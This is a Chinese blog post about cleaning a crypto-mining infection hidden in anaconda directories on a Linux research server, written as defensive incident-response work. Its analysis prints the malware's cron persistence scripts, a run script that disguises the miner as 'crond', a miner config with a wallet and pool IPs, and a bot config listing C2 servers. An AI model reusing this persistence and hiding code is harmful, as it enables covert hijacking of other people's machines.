目录
1 前言
1.1 什么是挖矿病毒
1.2 感染挖矿病毒的原因
2 自查与第一轮杀毒过程
3 攻击源分析与屏蔽
4 使用 ClamAV 工具进行全盘查杀
4.1 安装 ClamAV
4.2 使用 ClamAV 查杀病毒
5 第二轮病毒查杀
5.1 病毒运行机制分析
5.2 病毒运行代码分析
5.3 找出服务器所有可能存放 autorun 的目录
5.4 粉碎整个 anaconda 目录
6 总结
1 前言
1.1 什么是挖矿病毒
攻击者通过各种手段将挖矿程序植入受害者的计算机中, 在受害者不知情的情况下利用其计算机的云算力进行挖矿, 从而获取利益, 这类非法传播植入用户计算机的挖矿程序就是挖矿病毒.
1.2 感染挖矿病毒的原因
目前被感染挖矿病毒的主机主要是长期保持开机联网状态的科研服务器, 感染原因包括以下几种:
1. 主机的远程控制桌面, SSH,ftp,telnet 等服务是弱口令;
2. 主机安装了内网穿透软件;
3. 主机安装了盗版软件;
4. 高危漏洞未修复.
同时, 个人主机感染挖矿病毒, 主要有以下原因:
1. 垃圾邮件: 用户运行了钓鱼邮件中的附件.
2. 软件捆绑: 用户下载运行来历不明的破解软件
3. 漏洞传播: 用户没有及时修补漏洞, 目前大部分挖矿木马都会通过漏洞传播.
网页挖矿: 用户访问了植入挖矿脚本的网页, 浏览器会解析脚本进行挖矿.
挖矿病毒被植入主机后, 利用主机的运算力进行挖矿, 主要体现在消耗大量的 CPU 或 GPU 资源, 如 CPU 使用率高达 90%, 有大量对外进行网络连接 (特别是境外) 的日志记录.
2 自查与第一轮杀毒过程
参考《深度解析恶意挖矿攻击: 现状, 检测及处置手册》,《挖矿处置手册: 安全研究员的套路都在这儿了》 https://mp.weixin.qq.com/s/0r-BAWSRUkwCKrQ3qIWlzQ ,《Linux 挖矿病毒的清除与分析》 https://www.freebuf.com/vuls/200289.html ,《挖矿周 | 关于挖矿, 你需要知道的一切》 https://mp.weixin.qq.com/s/tZE7Q4dDovrtovBLzKGNHg .
通常来说, 可以使用 top 命令和 nvidia-smi 命令结合来查询异常的进程, 以下为使用 nvidia-smi 命令结合 ps 命令查看找到的异常进程, 并找到其具体目录
top
nvidia-smi
ps -aux | grep 异常进程号
具体来说, 挖矿病毒通过伪装成 python 环境文件来实现隐蔽挖矿
在目录下发现以下文件:
查看 config.INI 文件, 大致如下:
- wallet = 0x8744E800633C8aBeCe080B032484E2BE9Ef7c00c
- # wallet = 0x2f3a7C81cec4fF061A1C1FD69613cEc174ecdEcd
- coin = ETC
- # coin = ETH
- rigName = R3-
- pool1 = 147.135.10.88:11010
- # pool2= 141.95.34.186:11010
- # # # # # # # # # # # # # # #
- # pool1 = 138.197.183.92:12020
- # pool2 = 172.67.179.48:12020
- devices = 0,1,2,3,4,5,6,7,8
- # devices = 0 , 1 , 2 , 3 , 4 , 5 , 6 , 7 , 8
- noLog = true
- checkForUpdates = true
- autoUpdate = true
可以明显看到该文件为挖矿相关的设置文件. 然而, 使用工具 https://www.virustotal.com/gui/home/upload 检测 config.INI,python,python3 这三个文件, 却没有报异常. 不过 Antiy-AVL 和 AVG 都报告 python 文件为 RiskTool.Linux.BitCoinMiner.bd, 翻译过来, 就是危险工具 - Linux 的比特币矿工病毒, 如下图所示:
使用 kill -9 进程号清理挖矿进程以及 rm -rf 命令清楚上述文件, 并且使用 locate 进一步定位所有疑似挖矿病毒的路径.
locate config.INI
对返回的路径逐一进行检查, 判断是否存在挖矿木马文件. 发现多个普通用户的以下路径存在挖矿文件 config.INI,python,python3
- /home/username1/anaconda3/bin/envs
- /home/username2/anaconda27/bin/envs
- ...
对所有疑似挖矿病毒的路径进行 rm -rf 移除操作, 然而, 很遗憾, 第二天, 起床后, 又会出现新的类似的路径, 类似的挖矿进程, 如下:
这说明了仅查询并清空挖矿文件
config.INI,python,python3
所在的目录是不行的, 其存在守护进程. 同时, 查看时间发现, 这些进程大概会在凌晨 4 点到 5 点这段时间悄悄运行起来, 十分可恶.
3 攻击源分析与屏蔽
同时, 我对服务器进行了攻击查询
分别运行以下命令:
查看本月的远程登录失败 IP 及统计其次数
- lastb
- lastb | awk '{ print $3}' | sort | uniq -c | sort -n
查看上一月的远程登录失败 IP 及统计其次数
- lastb -f /var/log/btmp.1
- lastb -f /var/log/btmp.1 | awk '{ print $3}' | sort | uniq -c | sort -n
大致看起来像这样, 将疑似攻击的 IP 都加进黑名单
攻击次数 IP 地址
22206 123.123.123.123
使用 ufw 工具进行防火墙设置:
- # 开启防火墙服务
- sudo ufw enable
- # 查看防火墙规则
- sudo ufw status
- # 按编号查看防火墙规则
- sudo ufw status numbered
- # 按编号删除防火墙规则
sudo ufw delete 规则编号
- # 设置仅实验室 IP 段可以访问服务器
- # xxx.bb.bb 为局域网 IP 段, 例如 123.22.11
sudo ufw allow proto tcp from xxx.bb.bb.0/24 to [服务器 IP] port 22
sudo ufw allow from xxx.bb.bb.0/24 to [服务器 IP] port 22
4 使用 ClamAV 工具进行全盘查杀
ClamAV(Clam AntiVirus)是 Linux 平台上的开源病毒扫描程序, 主要应用于邮件服务器, 采用多线程后台操作, 可以自动升级病毒库. 其官方说明文档为: https://docs.clamav.net/ .
4.1 安装 ClamAV
在 Ubuntu 上使用以下命令进行安装:
- sudo apt-get install clamav
- # 可选: 安装图形化界面
- sudo apt-get install clamtk
- # 查看版本信息
- clamscan --version
4.2 使用 ClamAV 查杀病毒
使用命令行对全盘进行病毒查杀:
- byobu # 先进入 byobu 再运行杀毒命令
- clamscan -ri / -l /home/clamscan.log --remove
清除了部分病毒文件, 但清除得不够彻底!
使用图形化界面, 在 xshell 输入以下命令:
clamtk
5 第二轮病毒查杀
5.1 病毒运行机制分析
因为对全盘运行 clamscan 命令花费太长时间了, 万般无奈之下, 我决定把
config.INI,python,python3
三个文件所在的上一级菜单也视为病毒源, 然后下载整个文件夹下来, 使用 360 软件管家进行查杀, 惊喜来了!!!!
360 报警的位置:
在 windows10 下打开该路径, 发现了如下文件:
这是典型的病毒文件呀!
5.2 病毒运行代码分析
打开报警的 autorun 文件, 如下所示:
- #!/bin/sh
- pwd> dir
- dir=$(cat dir)
- echo "* * * * * $dir/update>/dev/null 2>&1"> cron
- crontab cron
- crontab -l | grep update
- echo "#!/bin/sh
- if test -r $dir/mech.pid; then
- pid=\$(cat $dir/mech.pid)
- if \$(kill -CHLD \$pid>/dev/null 2>&1)
- then
- exit 0
- fi
- fi
- cd $dir
- ./run &>/dev/null"> update
- chmod u+x update
其中, 工具 https://www.virustotal.com/gui/home/upload 检测结果如下图所示:
在命令行进入该目录运行以下命令, 模拟病毒运行,
- cd /home/username1/anaconda3/bin/sbin/.cpan/.cache
- sh autorun
输出以下结果:
* * * * */home/username1/anaconda3/bin/sbin/.cpan/.cache/update>/dev/null 2>&1
使用以下命令可以查看到定时进程:
crontab -l
查看所有用户的定时进程则使用以下命令:
cat /etc/passwd | cut -f 1 -d: | xargs -I {} crontab -l -u {} | grep -v "^#"
打开 cfg 文件, 如下图所示:
- SERVER 185.51.10.175 443
- SERVER 54.38.221.217 8080
- SERVER de.byroe.uk 8080
- SERVER horde.byroe.uk 443
- ADMIN yebXz8-i6uXH0-eP2eDT09Pi2uaQ0ObI
- ADMIN qMHCnNbn2uTVj-nPyNfh3Mboo-HUyA==
- ADMIN srPFx47Bvr6alsSmssawtbDCo7Ors7qwtrW0
- ######## bot 1 ########
- IDENT liu
- REALNAME /home/lab-liu.fan/anaconda3/bin/envs
- NICKNAMES R2X7-116-147
- CHANNEL h7Te1dbnlbOtlas=
- CMDCHAR @
打开 cron 文件, 如下所示, 这里我用了 username 替代了真实的账号名:
* * * * */home/username/anaconda3/bin/sbin/.cpan/.cache/update>/dev/null 2>&1
打开 dir, 如下所示, 这里我用了 username 替代了真实的账号名:
/home/username/anaconda3/bin/sbin/.cpan/.cache
打开 run 如下所示:
- #!/bin/bash
- ARCH=`uname -m`
- HIDE="crond"
- if [ "$ARCH" == "i686" ]; then
- ./h32 -s $HIDE ./run32
- elif [ "$ARCH" == "x86_64" ]; then
- ./h64 -s $HIDE ./run64
- fi
打开 update 如下所示:
- #!/bin/sh
- if test -r /home/username/anaconda3/bin/sbin/.cpan/.cache/mech.pid; then
- pid=$(cat /home/username/anaconda3/bin/sbin/.cpan/.cache/mech.pid)
- if $(kill -CHLD $pid>/dev/null 2>&1)
- then
- exit 0
- fi
- fi
- cd /home/username/anaconda3/bin/sbin/.cpan/.cache
- ./run &>/dev/null
5.3 找出服务器所有可能存放 autorun 的目录
使用 locate 命令进行筛选
locate autorun
以下为我找到的所有疑似病毒路径:
- /home/username1/anaconda3/sbin/.cpan/.cache/autorun
- /home/username2/anaconda3/bin/sbin/.cpan/.cache/autorun
- /home/username3/anaconda27/sbin/.cpan/.cache/autorun
5.4 粉碎整个 anaconda 目录
使用 wipe 或者 shred 可以实现文件的粉碎. 首先运行以下命令安装 wipe 工具:
sudo apt-get install wipe
然后运行以下命令, 进行木马目录的粉碎:
- wipe -rcf /home/username1/anaconda3/
- wipe -rcf /home/username2/anaconda3/
- wipe -rcf /home/username3/anaconda3/
由于我的服务器是集群管理形式, 除了需要对主节点进行病毒排查, 对所有计算节点也需要逐一排查, 参照下面的命令, 对所有可疑的目录进行粉碎目录操作:
- locate autorun
- locate config.INI
locate 其他病毒命名特征的文件
6 总结
该挖矿病毒会在用户的 anaconda 环境下的 sbin(可能在 anaconda 目录或者其子目录 bin 下), 目录移植自动运行文件, 并且定时 (每天凌晨 5 点左右) 在./bin/envs. 遇到这种情况, 首先登录中毒的用户账号, 使用 crontab -l 查看定时进程, 并且把定时进程全部杀掉. 同时使用 kill -9 进程号杀掉所有可疑进程, 最后使用 locate 和 wipe 命令定位和粉碎所有感染木马病毒的目录. 当然, 也可以根据 clamscan 扫描的结果, 对扫描到的文件的顶级目录 (anaconda) 进行粉碎.
来源: https://blog.csdn.net/m0_37201243/article/details/122501652